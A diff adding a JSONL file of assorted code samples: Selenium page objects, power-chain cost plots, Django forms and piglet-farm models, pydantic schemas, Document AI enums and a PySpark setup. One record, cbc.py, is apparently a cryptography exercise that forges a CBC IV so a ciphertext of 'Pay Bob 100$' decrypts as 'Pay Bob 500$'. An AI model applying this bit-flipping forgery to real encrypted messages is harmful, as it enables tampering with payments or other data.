diff --git "a/2642.jsonl" "b/2642.jsonl" new file mode 100644--- /dev/null +++ "b/2642.jsonl" @@ -0,0 +1,718 @@ +{"seq_id":"199683257","text":"from time import sleep\r\n\r\nfrom base.base_page import BasePage\r\n\r\n\r\nclass OrderDividePage(BasePage):\r\n LOGIN_NAME = 'x,//*[@id=\"username\"]'\r\n LOGIN_PWD = 'x,//*[@id=\"password\"]'\r\n LOGIN_BUTTON = 'x,//*[@id=\"login_form\"]/div[3]/button'\r\n\r\n MERCHANT_CLEAR = 'x,//*[@id=\"side_accordion\"]/div[7]/div[1]/a'\r\n ORDER_DIVIDE = 'x,//*[@id=\"collapse5\"]/div/ul/li[2]/a'\r\n\r\n INPUT_KEYWORD = 'x,//*[@id=\"contentwrapper\"]/div/div[3]/form/div/input[1]'\r\n\r\n ORDER_NUMBER = 'x,//*[@id=\"contentwrapper\"]/div/div[3]/form/div/input[2]'\r\n SEARCH_CLICK = 'x,//*[@id=\"contentwrapper\"]/div/div[3]/form/div/button'\r\n\r\n def login(self, name, pwd):\r\n '''\r\n 登入ecjia\r\n :param name: \r\n :param pwd: \r\n :return: \r\n '''\r\n driver = self.base_driver\r\n driver.type(self.LOGIN_NAME, name)\r\n driver.type(self.LOGIN_PWD, pwd)\r\n driver.click(self.LOGIN_BUTTON)\r\n sleep(2)\r\n\r\n def merchant_clear(self):\r\n '''\r\n 点击商家结算,订单分成\r\n :return: \r\n '''\r\n driver = self.base_driver\r\n driver.click(self.MERCHANT_CLEAR)\r\n sleep(2)\r\n driver.click(self.ORDER_DIVIDE)\r\n sleep(2)\r\n\r\n\r\n def merchant_search(self,orderdivide_data):\r\n driver = self.base_driver\r\n #driver.click(self.MERCHANT_CLEAR)\r\n # sleep(2)\r\n # driver.click(self.ORDER_DIVIDE)\r\n # sleep(2)\r\n if orderdivide_data['type'] == '1':\r\n driver.click(self.MERCHANT_CLEAR)\r\n sleep(2)\r\n driver.click(self.ORDER_DIVIDE)\r\n sleep(2)\r\n driver.type(self.INPUT_KEYWORD,orderdivide_data['keyword'])\r\n sleep(2)\r\n driver.click(self.SEARCH_CLICK)\r\n sleep(2)\r\n driver.click(self.MERCHANT_CLEAR)\r\n sleep(2)\r\n\r\n elif orderdivide_data['type'] == '2':\r\n driver.click(self.MERCHANT_CLEAR)\r\n sleep(2)\r\n driver.click(self.ORDER_DIVIDE)\r\n sleep(2)\r\n driver.type(self.ORDER_NUMBER,orderdivide_data['num'])\r\n sleep(2)\r\n driver.click(self.SEARCH_CLICK)\r\n sleep(2)\r\n driver.click(self.MERCHANT_CLEAR)\r\n sleep(2)\r\n elif orderdivide_data['type'] == '3':\r\n driver.click(self.MERCHANT_CLEAR)\r\n sleep(2)\r\n driver.click(self.ORDER_DIVIDE)\r\n sleep(2)\r\n driver.type(self.INPUT_KEYWORD, orderdivide_data['keyword'])\r\n sleep(2)\r\n driver.type(self.ORDER_NUMBER, orderdivide_data['num'])\r\n driver.click(self.SEARCH_CLICK)\r\n driver.click(self.MERCHANT_CLEAR)\r\n sleep(2)\r\n\r\n\r\n # def single_number(self, data):\r\n # '''\r\n # 输入订单号\r\n # :param data:\r\n # :return:\r\n # '''\r\n # driver = self.base_driver\r\n # driver.type(self.ORDER_NUMBER, data['num'])\r\n # driver.click(self.SEARCH_CLICK)\r\n # sleep(2)\r\n #\r\n # def plural_search(self, data):\r\n # '''\r\n # 输入商家关键字和订单号\r\n # :param data:\r\n # :return:\r\n # '''\r\n # driver = self.base_driver\r\n # driver.type(self.INPUT_KEYWORD, data['keyword'])\r\n # driver.type(self.ORDER_NUMBER, data['num'])\r\n # driver.click(self.SEARCH_CLICK)\r\n","sub_path":"01_ECO2O/src/ecjia_auto/pages/admincp/settlement/settlement_order_divide_page.py","file_name":"settlement_order_divide_page.py","file_ext":"py","file_size_in_byte":3373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"134310624","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 20 13:15:35 2018\n\n@author: shrey.aryan\n\"\"\"\nimport math \nimport matplotlib.pyplot as plt\nimport PowerTree\ndef bin_pow(x,n):\n if n == 0: return 1\n if n == 1: return x\n tmp = bin_pow(x,n//2)\n tmp = tmp*tmp\n if n%2 == 0: return tmp\n return tmp*x\n\ndef cost_bin_pow(n):\n if n == 0: return 0\n if n == 1: return 0\n tmp = cost_bin_pow(n//2)\n if n%2 == 0: return 1 + tmp \n return 2 + tmp\n\n# test case \n#for i in range(10):\n# print (cost_bin_pow(i))\n \ndef quartic_pow(x,n):\n if n == 0: return 1\n if n == 1: return x\n if n == 2: return x*x\n if n == 3: return x*x*x\n L = [1,x,x*x,x*x*x]\n return quartic_pow_aux(x,n,L)\n \ndef quartic_pow_aux(x,n,L):\n tmp = quartic_pow_aux(x,n//4,L)\n tmp = tmp*tmp*tmp*tmp\n if n%4 == 0: return tmp \n return tmp*L[n%4]\n\ndef cost_quartic_pow_aux(n):\n if n < 4: return 0\n tmp = cost_quartic_pow_aux(n//4)\n if n%4 == 0: return tmp + 2\n return 3 + tmp \n \ndef cost_quartic_pow(n):\n if n == 0 or n == 1: return 0\n if n == 2: return 1\n if n == 3: return 2\n return 2 + cost_quartic_pow_aux(n)\n \n# test case \n#for i in range(10):\n# print (cost_quartic_pow(i))\n \ndef smallest_factor(n):\n for i in range(2,int(math.sqrt(n))+1):\n if n%i == 0:\n return i\n return -1\n\ndef factor_pow(x,n):\n if n == 0: return 1\n if n == 1: return x\n if n >= 2 and smallest_factor(n) == -1: return factor_pow(x,n-1)*x\n if n >= 2 and smallest_factor(n) != -1:\n p = smallest_factor(n)\n q = n/p\n return factor_pow(factor_pow(x,p),q)\n\ndef cost_factor_pow(n):\n if n == 0: return 0\n if n == 1: return 0\n if smallest_factor(n) == -1 and n >= 2: return 1+cost_factor_pow(n-1)\n if smallest_factor(n) != -1 and n >= 2: \n p = smallest_factor(n)\n q = n/p\n return cost_factor_pow(p) + cost_factor_pow(q)\n \ndef power_from_chain(x,a):\n l = len(a) - 1\n arr = {1:x}\n for k in range(1,l+1):\n a_i = a[k] - a[k-1]\n a_j = a[k-1]\n arr[a[k]] = arr[a_i] * arr[a_j]\n return arr[a[l]]\n\n#print (power_from_chain(2,[1, 2, 3, 6, 12, 15]))\n\ndef power_tree_chain(n):\n if n == 1: return [1]\n p = PowerTree.PowerTree()\n while n not in p.parent:\n p.add_layer()\n return p.path_from_root(n)\n\n\ndef power_tree_pow(x,n):\n return power_from_chain(x,power_tree_chain(n))\n\n\ndef cost_power_tree_pow(n):\n a = power_tree_chain(n)\n return len(a) - 1\n\n\nindex = []\nc_b = []\nc_f = []\nc_p = []\nfor i in range(2,100):\n index.append(i)\n c_b.append(cost_bin_pow(i))\n c_f.append(cost_factor_pow(i))\n c_p.append(cost_power_tree_pow(i))\n \nplt.plot(index,c_b,label = 'Binary Cost')\nplt.plot(index,c_f,label = \"Factor Power Cost\")\nplt.plot(index,c_p,label = \"Power Tree Cost\") \nplt.legend()\nplt.show()\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n ","sub_path":"chains.py","file_name":"chains.py","file_ext":"py","file_size_in_byte":2994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"101875404","text":"from django import forms\n\nfrom crits.services.core import ServiceConfigOption, ServiceConfigError\n\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass ImportServiceConfigForm(forms.Form):\n \"\"\"\n Django form for importing service configuration files.\n \"\"\"\n\n error_css_class = 'error'\n required_css_class = 'required'\n file = forms.FileField()\n\n\ndef _get_config_fields(service_class, exclude_private):\n \"\"\"\n Return a dict of Django Form fields for a given service class.\n\n Idea taken from http://www.b-list.org/weblog/2008/nov/09/dynamic-forms/ .\n \"\"\"\n\n fields = {}\n\n for option in service_class.default_config:\n if option.private and exclude_private:\n continue\n name = option.name\n kwargs = {\n 'required': option.required,\n 'help_text': option.description\n }\n if option.type_ == ServiceConfigOption.STRING:\n fields[name] = forms.CharField(widget=forms.Textarea(\n attrs={'cols': '80', 'rows': '1'}), **kwargs)\n elif option.type_ == ServiceConfigOption.INT:\n fields[name] = forms.IntegerField(**kwargs)\n elif option.type_ == ServiceConfigOption.BOOL:\n fields[name] = forms.BooleanField(**kwargs)\n elif option.type_ == ServiceConfigOption.LIST:\n fields[name] = forms.CharField(widget=forms.Textarea(\n attrs={'cols': '80', 'rows': '5'}), **kwargs)\n elif option.type_ == ServiceConfigOption.SELECT:\n fields[name] = forms.ChoiceField(widget=forms.Select,\n choices=option.enumerate_choices(),\n **kwargs)\n elif option.type_ == ServiceConfigOption.MULTI_SELECT:\n fields[name] = forms.MultipleChoiceField(\n widget=forms.CheckboxSelectMultiple,\n choices=option.enumerate_choices(),\n **kwargs)\n elif option.type_ == ServiceConfigOption.PASSWORD:\n fields[name] = forms.CharField(widget=forms.PasswordInput(),\n **kwargs)\n else:\n # Should never get here, since the types should be checked in\n # the constructor of ServiceConfigOption.\n raise ServiceConfigError(\"Unknown Config Option Type: %s\" %\n option.type_)\n\n return fields\n\n\ndef make_edit_config_form(service_class):\n \"\"\"\n Return a Django Form for editing a service's config.\n\n This should be used when the administrator is editing a service\n configuration.\n \"\"\"\n\n # Include private fields since this is for an administrator.\n fields = _get_config_fields(service_class, False)\n\n if not fields:\n return None\n\n return type(\"ServiceEditConfigForm\",\n (forms.BaseForm,),\n {'base_fields': fields})\n\n\ndef make_run_config_form(service_class):\n \"\"\"\n Return a Django form used when running a service.\n\n This is the same as make_edit_config_form, but adds a BooleanField\n (checkbox) for whether to \"Force\" the service to run.\n \"\"\"\n\n # Hide private fields\n fields = _get_config_fields(service_class, True)\n\n if not service_class.rerunnable:\n fields['force'] = forms.BooleanField(required=False,\n help_text=\"Force the service to run.\")\n\n if fields:\n return type(\"ServiceRunConfigForm\",\n (forms.BaseForm,),\n {'base_fields': fields})\n else:\n return None\n","sub_path":"crits/services/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"537014586","text":"from typing import Optional\n\nfrom pydantic import BaseModel, Schema\n\n\nclass CountryBase(BaseModel):\n id: Optional[int] = 0\n name: Optional[str] = None\n alpha2: Optional[str] = None\n alpha3: Optional[str] = None\n is_blacklisted: Optional[bool] = False\n\n\nclass CountryCreate(CountryBase):\n id: int\n name: str\n alpha2: str\n alpha3: str\n\n\nclass CountryOut(BaseModel):\n id: int = Schema(\n ...,\n alias=\"numeric_code\",\n title=\"Country numeric code\",\n description=\"ISO 3166-1\"\n )\n name: str = Schema(\n ...,\n alias=\"country_name\",\n title=\"Country name\",\n description=\"Usual name\"\n )\n alpha_2: str = Schema(\n ...,\n alias=\"word_code\",\n title=\"Two-letter code\",\n description=\"Per ISO 3166-1 alpha-2 format\"\n )\n\n class Config:\n title = \"Country Record\"\n orm_mode = True\n allow_population_by_alias = True\n\n\n# class CountryOutA(BaseModel):\n# numeric_code: int = Schema(..., title=\"Numeric code\", alias=\"id\")\n# country_name: str = Schema(..., title=\"Usual name\", alias=\"name\")\n# word_code: str = Schema(..., title=\"Two-letter code\", alias=\"alpha_2\")\n\n# class Config:\n# orm_mode = True\n","sub_path":"web/backend/machine/app/models/country.py","file_name":"country.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"209329438","text":"# https://docs.djangoproject.com/en/1.8/topics/i18n/timezones/\nimport pytz\n\nfrom django.utils import timezone\n\nclass TimezoneMiddleware(object):\n def process_request(self, request):\n tzname = request.session.get('django_timezone')\n if tzname:\n timezone.activate(pytz.timezone(tzname))\n else:\n timezone.deactivate()\n","sub_path":"drchrono/middleware/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"255401445","text":"# -*- coding: utf-8 -*-\n#\n# Copyright 2019 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Wrappers for protocol buffer enum types.\"\"\"\n\nimport enum\n\n\nclass Document(object):\n class Page(object):\n class Layout(object):\n class Orientation(enum.IntEnum):\n \"\"\"\n Detected human reading orientation.\n\n Attributes:\n ORIENTATION_UNSPECIFIED (int): Unspecified orientation.\n PAGE_UP (int): Orientation is aligned with page up.\n PAGE_RIGHT (int): Orientation is aligned with page right.\n Turn the head 90 degrees clockwise from upright to read.\n PAGE_DOWN (int): Orientation is aligned with page down.\n Turn the head 180 degrees from upright to read.\n PAGE_LEFT (int): Orientation is aligned with page left.\n Turn the head 90 degrees counterclockwise from upright to read.\n \"\"\"\n\n ORIENTATION_UNSPECIFIED = 0\n PAGE_UP = 1\n PAGE_RIGHT = 2\n PAGE_DOWN = 3\n PAGE_LEFT = 4\n\n class Token(object):\n class DetectedBreak(object):\n class Type(enum.IntEnum):\n \"\"\"\n Enum to denote the type of break found.\n\n Attributes:\n TYPE_UNSPECIFIED (int): Unspecified break type.\n SPACE (int): A single whitespace.\n WIDE_SPACE (int): A wider whitespace.\n HYPHEN (int): A hyphen that indicates that a token has been split across lines.\n \"\"\"\n\n TYPE_UNSPECIFIED = 0\n SPACE = 1\n WIDE_SPACE = 2\n HYPHEN = 3\n\n\nclass OperationMetadata(object):\n class State(enum.IntEnum):\n \"\"\"\n Attributes:\n STATE_UNSPECIFIED (int): The default value. This value is used if the state is omitted.\n ACCEPTED (int): Request is received.\n WAITING (int): Request operation is waiting for scheduling.\n RUNNING (int): Request is being processed.\n SUCCEEDED (int): The batch processing completed successfully.\n CANCELLED (int): The batch processing was cancelled.\n FAILED (int): The batch processing has failed.\n \"\"\"\n\n STATE_UNSPECIFIED = 0\n ACCEPTED = 1\n WAITING = 2\n RUNNING = 3\n SUCCEEDED = 4\n CANCELLED = 5\n FAILED = 6\n","sub_path":"documentai/google/cloud/documentai_v1beta1/gapic/enums.py","file_name":"enums.py","file_ext":"py","file_size_in_byte":3068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"580089669","text":"from com.sbk.hex.func import str_to_hex, hex_xor\n\nencrypted_message_hex = '20814804c1767293b99f1d9cab3bc3e7 ac1e37bfb15599e5f40eef805488281d'\niv = encrypted_message_hex.split()[0]\nencrypted_message = encrypted_message_hex.split()[1]\nreal_plain_text = \"Pay Bob 100$\"\nforged_plain_text = \"Pay Bob 500$\"\n\nreal_plain_text_hex = str_to_hex(real_plain_text)\nforged_plain_text_hex = str_to_hex(forged_plain_text)\n\nforged_iv = hex_xor(iv, real_plain_text_hex, forged_plain_text_hex)\n\nprint(forged_iv + ' ' + encrypted_message)\n\n# 20814804c1767293bd9f1d9cab3bc3e7 ac1e37bfb15599e5f40eef805488281d","sub_path":"com/sbk/attack/cbc.py","file_name":"cbc.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"343364094","text":"from os import environ\nfrom pyspark.sql import SparkSession\n\nenviron['JAVA_HOME'] = 'D:\\Program Files\\Java\\jdk1.8.0_181'\nenviron['HADOOP_HOME'] = 'D:\\hadoop-3.1.2'\nenviron['SPARK_HOME'] = 'D:\\spark-2.4.3-bin-hadoop2.7\\spark-2.4.3-bin-hadoop2.7'\nenviron[\"PYSPARK_PYTHON\"] = '/usr/local/bin/python3'\nenviron[\"PYSPARK_DRIVER_PYTHON\"] = '/usr/local/bin/python3'\n\nspark = SparkSession.builder \\\n .master(\"spark://192.168.30.65:7077\") \\\n .appName(\"demo-1\") \\\n .config(\"hive.metastore.uris\", \"thrift://192.168.30.65:9083\") \\\n .config(\"spark.driver.port\", \"49906\") \\\n .config(\"spark.driver.host\", \"192.168.30.52\") \\\n .config(\"spark.executor.memory\", \"512m\")\\\n .config(\"spark.cores.max\", \"2\")\\\n .getOrCreate()\n","sub_path":"basic-mllib/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"552580585","text":"# -*- coding: utf-8 -*-\nimport datetime\n\nfrom django.db import models\nfrom django.db.models import Q, Sum, Avg, F, OuterRef, Subquery, ExpressionWrapper\n\nfrom django.utils import timezone\nfrom django.core.exceptions import ValidationError as DjangoValidationError\n\nfrom core.models import Event, CoreModel, CoreModelManager\nfrom piglets.models import Piglets\nfrom locations.models import Location\nfrom tours.models import MetaTour, MetaTourRecord, Tour\n\n\n# use only for phase \"Piglets\". In full version piglets will create at sow_farrow\ndef init_piglets_with_single_tour(week, quantity):\n # init_piglets_one_tour()\n \n tour = Tour.objects.get_or_create_by_week_in_current_year(week)\n location = Location.objects.get(workshop__number=3)\n piglets = Piglets.objects.create(\n location=location,\n start_quantity=quantity,\n quantity=quantity,\n )\n metatour = MetaTour.objects.create(piglets=piglets)\n MetaTourRecord.objects.create_record(metatour=metatour, tour=tour, quantity=quantity,\n total_quantity=quantity, percentage=100)\n return piglets\n\n\nclass PigletsEvent(Event):\n class Meta:\n abstract = True\n\n\nclass PigletsSplitManager(CoreModelManager):\n def split_return_groups(self, parent_piglets, new_amount, gilts_to_new=False, \n initiator=None, date=timezone.now(), allow_split_gilt=False):\n \n # validate\n if new_amount >= parent_piglets.quantity:\n raise DjangoValidationError(\n message=f'Отделяемое количество поросят больше чем есть в группе.\\\n {new_amount} > {parent_piglets.quantity}. Группа {parent_piglets.pk}')\n\n # if gilts to new. Check parent gilts quantity should be less or equal new amount\n if not allow_split_gilt and gilts_to_new and \\\n parent_piglets.gilts_quantity > new_amount:\n raise DjangoValidationError(message=f'new_amount должно быть больше количества ремонток \\\n в родительской группе #{parent_piglets.pk}. Клетка {parent_piglets.location.get_location}')\n\n if not gilts_to_new and (new_amount + parent_piglets.gilts_quantity) > parent_piglets.quantity:\n raise DjangoValidationError(message=f'количество в родительской группе #{parent_piglets.pk} меньше чем new_amount + количество ремонток')\n\n # create split record\n split_record = self.create(parent_piglets=parent_piglets)\n\n # gilts\n piglets1_group_gilts_quantity = parent_piglets.gilts_quantity\n piglets2_new_group_gilts_quantity = 0\n \n if gilts_to_new:\n piglets1_group_gilts_quantity = 0\n piglets2_new_group_gilts_quantity = parent_piglets.gilts_quantity\n\n # create two groups with metatours\n piglets1 = Piglets.objects.create(location=parent_piglets.location,\n status=parent_piglets.status,\n start_quantity=(parent_piglets.quantity - new_amount),\n quantity=(parent_piglets.quantity - new_amount),\n gilts_quantity=piglets1_group_gilts_quantity,\n split_as_child=split_record,\n transfer_part_number=parent_piglets.transfer_part_number,\n birthday=parent_piglets.birthday\n )\n metatour1 = MetaTour.objects.create(piglets=piglets1)\n\n piglets2_new_amount = Piglets.objects.create(location=parent_piglets.location,\n status=parent_piglets.status,\n start_quantity=new_amount,\n quantity=new_amount,\n gilts_quantity=piglets2_new_group_gilts_quantity,\n split_as_child=split_record,\n transfer_part_number=parent_piglets.transfer_part_number,\n birthday=parent_piglets.birthday\n )\n metatour2 = MetaTour.objects.create(piglets=piglets2_new_amount)\n \n # create metarecodrs\n for parent_record in parent_piglets.metatour.records.all():\n # notice how quantity is calculated\n MetaTourRecord.objects.create_record(\n metatour=metatour1,\n tour=parent_record.tour,\n quantity=parent_record.percentage * (parent_piglets.quantity - new_amount) / 100,\n total_quantity=(parent_piglets.quantity - new_amount),\n percentage=parent_record.percentage\n )\n\n MetaTourRecord.objects.create_record(\n metatour=metatour2,\n tour=parent_record.tour,\n quantity=parent_record.percentage * new_amount / 100,\n total_quantity=new_amount,\n percentage=parent_record.percentage\n )\n\n metatour1.set_week_tour()\n metatour2.set_week_tour()\n\n parent_piglets.deactivate()\n\n return piglets1, piglets2_new_amount\n\n\nclass PigletsSplit(PigletsEvent):\n parent_piglets = models.OneToOneField(Piglets, on_delete=models.SET_NULL, null=True,\n related_name='split_as_parent')\n\n objects = PigletsSplitManager()\n\n def __str__(self):\n return 'PigletsSplit {}'.format(self.pk)\n\n\nclass PigletsMergerManager(CoreModelManager):\n def create_merger_return_group(self, parent_piglets, new_location, initiator=None,\n date=None):\n if not date:\n date=timezone.now()\n\n if isinstance(parent_piglets, list):\n if isinstance(parent_piglets[0], int):\n parent_piglets = Piglets.objects.filter(pk__in=parent_piglets)\n else:\n pks = [group.pk for group in parent_piglets]\n parent_piglets = Piglets.objects.filter(pk__in=pks)\n\n total_quantity = parent_piglets.get_total_quantity()\n gilts_quantity = parent_piglets.get_total_gilts_quantity()\n avg_birthday = parent_piglets.gen_avg_birthday(total_quantity=total_quantity)\n\n piglets = Piglets.objects.create(location=new_location, status=None, start_quantity=total_quantity,\n quantity=total_quantity, gilts_quantity=gilts_quantity, birthday=avg_birthday)\n\n # create metatour\n metatour = MetaTour.objects.create(piglets=piglets)\n\n # get all relative metatour records of parent piglets\n parent_records = MetaTourRecord.objects.filter(metatour__piglets__in=parent_piglets)\n\n # get set of tours from records then create records for each tour\n for tour in parent_records.get_set_of_tours():\n tour.metatourrecords.create_record(metatour=metatour, tour=tour,\n quantity=parent_records.sum_quantity_by_tour(tour),\n total_quantity=total_quantity)\n\n # set week tour\n metatour.set_week_tour()\n\n # create merger\n merger = self.create(created_piglets=piglets, initiator=initiator, date=timezone.now())\n\n # deactivate and update piglets \n # !!! when input parent_piglets is queryset it can include created piglets, qs is lazy.\n parent_piglets.exclude(pk=piglets.pk).update(active=False, merger_as_parent=merger)\n\n return piglets\n\n def merge_piglets_in_location(self, location, initiator=None, date=timezone.now()):\n piglets = location.piglets.all()\n\n if len(piglets) == 0:\n raise DjangoValidationError(message=f'в локации {location.pk} нет поросят.')\n\n if len(piglets) == 1:\n return piglets.first()\n\n if len(piglets) > 1:\n return self.create_merger_return_group(parent_piglets=piglets, new_location=location,\n initiator=initiator)\n\n def create_from_merging_list(self, merging_list, new_location, initiator=None, date=None):\n if not date:\n date=timezone.now()\n \n parent_piglets_ids = list()\n for merging_record in merging_list:\n weaning_piglets = Piglets.objects.get(id=merging_record['piglets_id']) \n\n if merging_record['changed']:\n not_merging_piglets, merging_piglets = \\\n PigletsSplit.objects.split_return_groups(parent_piglets=weaning_piglets,\n new_amount=merging_record['quantity'],\n gilts_to_new=merging_record['gilts_contains'],\n initiator=initiator,\n date=date)\n weaning_piglets = merging_piglets\n \n if merging_record.get('gilts_quantity'):\n weaning_piglets.gilts_quantity = merging_record.get('gilts_quantity')\n weaning_piglets.save()\n\n parent_piglets_ids.append(weaning_piglets.id)\n\n sow_in_cell = weaning_piglets.location.sow_set.all().first()\n if sow_in_cell:\n sow_in_cell.weaningsow_set.create_weaning(sow=sow_in_cell, piglets=weaning_piglets,\n initiator=initiator)\n\n return self.create_merger_return_group(parent_piglets_ids, new_location, initiator, date)\n\n # only for \"Piglets\" phase\n def merge_piglets_from_init_list(self, init_list, initiator=None, date=timezone.now()):\n piglets = list()\n for init_record in init_list:\n piglets.append(\n init_piglets_with_single_tour(init_record['week'], init_record['quantity'])\n )\n\n return self.create_merger_return_group(parent_piglets=piglets,\n new_location=Location.objects.get(workshop__number=3), initiator=initiator, date=date)\n \n\nclass PigletsMerger(PigletsEvent):\n created_piglets = models.OneToOneField(Piglets, on_delete=models.SET_NULL, null=True,\n related_name='merger_as_child')\n\n objects = PigletsMergerManager()\n\n\nclass WeighingPigletsQuerySet(models.QuerySet):\n # def get_tour_data_by_place(self, tour, place):\n # data = dict()\n # qs = self.filter(week_tour=tour, place=place).order_by('date')\n # if qs:\n # data['place'] = place\n # data['list'] = qs.values('date', 'total_weight', 'average_weight', 'piglets_quantity', 'piglets_age')\n # data['total'] = qs.aggregate(\n # total_quantity=Sum('piglets_quantity'),\n # total_avg=Avg('average_weight'),\n # total_total_weight=Sum('total_weight'),\n # total_avg_age=Avg('piglets_age'),\n # )\n # return data\n # return None\n\n def get_tour_data_by_place(self, tour, place):\n total =list()\n qs = self.filter(week_tour=tour, place=place).order_by('date')\n total = qs.aggregate(\n total_quantity=Sum('piglets_quantity'),\n total_avg=Avg('average_weight'),\n total_total_weight=Sum('total_weight'),\n total_avg_age=Avg('piglets_age'),\n )\n return qs, total\n\n\nclass WeighingPigletsManager(CoreModelManager):\n def get_queryset(self):\n return WeighingPigletsQuerySet(self.model, using=self._db)\n\n def create_weighing(self, piglets_group, total_weight, place, initiator=None, date=None):\n if not date:\n date=timezone.now()\n weighing_record = self.create(\n piglets_group=piglets_group,\n total_weight=total_weight,\n average_weight=round((total_weight / piglets_group.quantity), 2),\n place=place,\n piglets_quantity=piglets_group.quantity,\n initiator=initiator,\n date=date,\n week_tour=piglets_group.metatour.week_tour,\n piglets_age=(date-piglets_group.birthday).days\n )\n\n piglets_group.change_status_to('Взвешены, готовы к заселению')\n return weighing_record\n\n\nclass WeighingPiglets(PigletsEvent):\n WEIGHING_PLACES = [('3/4', '3/4'), ('4/8', '4/8'), ('8/5', '8/5'), ('8/6', '8/6'),\n ('8/7', '8/7')]\n\n piglets_group = models.ForeignKey(Piglets, on_delete=models.CASCADE, related_name=\"weighing_records\")\n total_weight = models.FloatField()\n average_weight = models.FloatField()\n piglets_quantity = models.IntegerField()\n place = models.CharField(max_length=10, choices=WEIGHING_PLACES)\n piglets_age = models.IntegerField(null=True, blank=True)\n\n week_tour = models.ForeignKey('tours.Tour', on_delete=models.SET_NULL, null=True, blank=True,\n related_name=\"piglets_weights\")\n\n objects = WeighingPigletsManager()\n\n\nclass CullingPigletsManager(CoreModelManager):\n def create_culling_piglets(self, piglets_group, culling_type, is_it_gilt=False, reason=None,\n initiator=None, date=None, quantity=1, total_weight=None):\n\n if quantity > piglets_group.quantity:\n raise DjangoValidationError(\n message=f'Указано большее количество поросят чем есть в группе. \\\n {quantity} > {piglets_group.quantity}.')\n\n if not date:\n date=timezone.now()\n\n if isinstance(date, str): \n date = datetime.datetime.strptime(date, '%Y-%m-%d')\n\n if is_it_gilt:\n piglets_group.remove_gilts(quantity)\n else:\n piglets_group.remove_piglets(quantity)\n \n avg_weight = 0\n if total_weight > 0:\n avg_weight = total_weight / quantity\n\n culling = self.create(piglets_group=piglets_group, culling_type=culling_type, \n reason=reason,\n date=date, initiator=initiator, is_it_gilt=is_it_gilt, quantity=quantity,\n total_weight=total_weight, avg_weight=avg_weight,\n location=piglets_group.location,\n week_tour=piglets_group.metatour.week_tour,\n piglets_age=(date-piglets_group.birthday).days)\n\n return culling\n\n def create_culling_gilt(self, piglets_group, culling_type, reason=None, initiator=None,\n date=timezone.now(), quantity=1):\n piglets_group.remove_gilts(quantity)\n return self.create(piglets_group=piglets_group, culling_type=culling_type, reason=reason,\n date=date, initiator=initiator, is_it_gilt=True, quantity=quantity,\n total_weight=total_weight, week_tour=piglets_group.metatour.week_tour)\n\n def get_culling_by_piglets(self, culling_type, piglets):\n return self.get_queryset().filter(piglets_group__in=piglets, culling_type=culling_type) \\\n .aggregate(\n total_quantity=Sum('quantity'),\n total_weight=Sum('total_weight'),\n avg_weight=Avg(F('total_weight') / F('quantity'), output_field=models.FloatField())\n )\n\n def get_by_tour_and_ws_number(self, tour, ws_number, culling_type='spec'):\n qs = self.get_queryset().filter(week_tour=tour, \n location__pigletsGroupCell__workshop__number=ws_number,\n culling_type=culling_type)\n total = qs.aggregate(\n total_quantity=Sum('quantity'),\n total_total_weight=Sum('total_weight'),\n total_avg=Avg(F('total_weight') / F('quantity'), output_field=models.FloatField()),\n total_avg_age=Avg('piglets_age'),\n )\n return qs, total\n\n\nclass CullingPiglets(PigletsEvent):\n CULLING_TYPES = [\n ('spec', 'spec uboi'), ('padej', 'padej'),\n ('prirezka', 'prirezka'), ('vinuzhd', 'vinuzhdennii uboi')]\n\n quantity = models.IntegerField(default=1)\n\n culling_type = models.CharField(max_length=50, choices=CULLING_TYPES)\n reason = models.CharField(max_length=200, null=True)\n piglets_group = models.ForeignKey(Piglets, on_delete=models.CASCADE, related_name=\"cullings\")\n is_it_gilt = models.BooleanField(default=False)\n\n total_weight = models.FloatField(null=True)\n\n avg_weight = models.FloatField(null=True) \n\n location = models.ForeignKey('locations.Location', on_delete=models.SET_NULL, null=True, blank=True, \n related_name=\"cullings\")\n\n week_tour = models.ForeignKey('tours.Tour', on_delete=models.SET_NULL, null=True, blank=True,\n related_name=\"piglets_culling\")\n\n piglets_age = models.IntegerField(null=True, blank=True)\n\n objects = CullingPigletsManager()\n\n @property\n def average_weight(self):\n if self.quantity and self.total_weight:\n return round(self.total_weight / self.quantity, 2)\n\n\nclass RecountQuerySet(models.QuerySet):\n pass\n\n\nclass RecountManager(CoreModelManager):\n def get_queryset(self):\n return RecountQuerySet(self.model, using=self._db)\n\n def create_recount(self, piglets, new_quantity, comment=None, initiator=None, date=None):\n recount = self.create(piglets=piglets, quantity_before=piglets.quantity, quantity_after=new_quantity,\n balance=piglets.quantity - new_quantity, initiator=initiator, comment=comment, date=date,\n location=piglets.location)\n \n piglets.quantity = new_quantity\n if new_quantity == 0:\n piglets.deactivate()\n piglets.save()\n piglets.metatour.records.recount_records_by_total_quantity(new_quantity)\n \n return recount\n\n def sum_balances_by_locations(self, locations):\n return 